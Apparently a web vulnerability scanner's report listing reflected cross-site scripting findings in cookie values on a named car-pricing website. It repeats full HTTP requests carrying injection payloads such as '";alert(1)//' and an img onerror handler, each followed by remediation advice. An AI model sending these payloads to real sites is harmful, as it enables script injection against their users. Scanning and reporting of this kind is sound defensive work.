GET /content/research/kbb/index.cfm/action/selectyear/valuetype/TI HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=29794b<img%20src%3da%20onerror%3dalert(1)>df36346d341; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3bd2a"%3balert(1)//999c0c1f693 was submitted in the BDATALIST cookie. This input was echoed as 3bd2a";alert(1)//999c0c1f693 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/top10/index.cfm/action/top10/vehicleclass/all/listtype/1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c43bd2a"%3balert(1)//999c0c1f693; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7009a"%3balert(1)//52968e6c274 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 7009a";alert(1)//52968e6c274 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/top10/index.cfm/action/top10/vehicleclass/all/listtype/1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=7009a"%3balert(1)//52968e6c274; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 771ce<img%20src%3da%20onerror%3dalert(1)>7f34c2e9ef2 was submitted in the PV_CT cookie. This input was echoed as 771ce<img src=a onerror=alert(1)>7f34c2e9ef2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/research/top10/index.cfm/action/top10/vehicleclass/all/listtype/1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2771ce<img%20src%3da%20onerror%3dalert(1)>7f34c2e9ef2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 942f9"%3balert(1)//3060dbd7fa4 was submitted in the BDATALIST cookie. This input was echoed as 942f9";alert(1)//3060dbd7fa4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /coupons/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4942f9"%3balert(1)//3060dbd7fa4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f0e7"%3balert(1)//bf390352214 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 5f0e7";alert(1)//bf390352214 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /coupons/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=5f0e7"%3balert(1)//bf390352214; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bf94b"%3balert(1)//da95038b8f8 was submitted in the BDATALIST cookie. This input was echoed as bf94b";alert(1)//da95038b8f8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /diagnose-problem/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4bf94b"%3balert(1)//da95038b8f8; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 75850"%3balert(1)//c65df28989b was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 75850";alert(1)//c65df28989b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /diagnose-problem/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=75850"%3balert(1)//c65df28989b; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b0ab7"%3balert(1)//ee2e0060c44 was submitted in the BDATALIST cookie. This input was echoed as b0ab7";alert(1)//ee2e0060c44 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4b0ab7"%3balert(1)//ee2e0060c44; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 645a6"%3balert(1)//14be9289b7 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 645a6";alert(1)//14be9289b7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=645a6"%3balert(1)//14be9289b7; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b0580"%3balert(1)//60c900d953a was submitted in the BDATALIST cookie. This input was echoed as b0580";alert(1)//60c900d953a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /new-car-price-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4b0580"%3balert(1)//60c900d953a; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 61058"%3balert(1)//6df31272ede was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 61058";alert(1)//6df31272ede in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /new-car-price-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=61058"%3balert(1)//6df31272ede; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 19611"%3balert(1)//c01fa74b496 was submitted in the BDATALIST cookie. This input was echoed as 19611";alert(1)//c01fa74b496 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /new-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c419611"%3balert(1)//c01fa74b496; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f1a58"%3balert(1)//14303cfeb20 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as f1a58";alert(1)//14303cfeb20 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /new-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=f1a58"%3balert(1)//14303cfeb20; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5233e"%3balert(1)//fc738b4235a was submitted in the BDATALIST cookie. This input was echoed as 5233e";alert(1)//fc738b4235a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /repair-cost-calculator/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c45233e"%3balert(1)//fc738b4235a; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f76c5"%3balert(1)//f9f2c543b9c was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as f76c5";alert(1)//f9f2c543b9c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /repair-cost-calculator/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=f76c5"%3balert(1)//f9f2c543b9c; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7225c"%3balert(1)//f5cfac0557e was submitted in the BDATALIST cookie. This input was echoed as 7225c";alert(1)//f5cfac0557e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitemap/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c47225c"%3balert(1)//f5cfac0557e; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
